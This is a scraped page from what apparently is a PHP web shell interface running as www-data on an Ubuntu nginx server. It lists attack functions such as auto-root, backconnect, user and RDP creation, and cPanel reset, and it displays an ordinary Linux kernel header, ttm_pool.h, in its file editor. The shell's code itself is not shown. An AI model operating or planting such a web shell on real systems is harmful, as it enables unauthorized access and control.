Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.52
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.15.0-160 /
include /
drm /
ttm /
[ HOME SHELL ]
Name
Size
Permission
Action
ttm_bo_api.h
18.82
KB
-rw-r--r--
ttm_bo_driver.h
10.07
KB
-rw-r--r--
ttm_caching.h
1.37
KB
-rw-r--r--
ttm_device.h
8.59
KB
-rw-r--r--
ttm_execbuf_util.h
4.38
KB
-rw-r--r--
ttm_kmap_iter.h
1.85
KB
-rw-r--r--
ttm_placement.h
2.77
KB
-rw-r--r--
ttm_pool.h
2.75
KB
-rw-r--r--
ttm_range_manager.h
967
B
-rw-r--r--
ttm_resource.h
8.85
KB
-rw-r--r--
ttm_tt.h
6.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ttm_pool.h
/* SPDX-License-Identifier: GPL-2.0 OR MIT */ /* * Copyright 2020 Advanced Micro Devices, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * * Authors: Christian König */ #ifndef _TTM_PAGE_POOL_H_ #define _TTM_PAGE_POOL_H_ #include <linux/mmzone.h> #include <linux/llist.h> #include <linux/spinlock.h> #include <drm/ttm/ttm_caching.h> struct device; struct ttm_tt; struct ttm_pool; struct ttm_operation_ctx; /** * ttm_pool_type - Pool for a certain memory type * * @pool: the pool we belong to, might be NULL for the global ones * @order: the allocation order our pages have * @caching: the caching type our pages have * @shrinker_list: our place on the global shrinker list * @lock: protection of the page list * @pages: the list of pages in the pool */ struct ttm_pool_type { struct ttm_pool *pool; unsigned int order; enum ttm_caching caching; struct list_head shrinker_list; spinlock_t lock; struct list_head pages; }; /** * ttm_pool - Pool for all caching and orders * * @use_dma_alloc: if coherent DMA allocations should be used * @use_dma32: if GFP_DMA32 should be used * @caching: pools for each caching/order */ struct ttm_pool { struct device *dev; bool use_dma_alloc; bool use_dma32; struct { struct ttm_pool_type orders[MAX_ORDER]; } caching[TTM_NUM_CACHING_TYPES]; }; int ttm_pool_alloc(struct ttm_pool *pool, struct ttm_tt *tt, struct ttm_operation_ctx *ctx); void ttm_pool_free(struct ttm_pool *pool, struct ttm_tt *tt); void ttm_pool_init(struct ttm_pool *pool, struct device *dev, bool use_dma_alloc, bool use_dma32); void ttm_pool_fini(struct ttm_pool *pool); int ttm_pool_debugfs(struct ttm_pool *pool, struct seq_file *m); int ttm_pool_mgr_init(unsigned long num_pages); void ttm_pool_mgr_fini(void); #endif
Close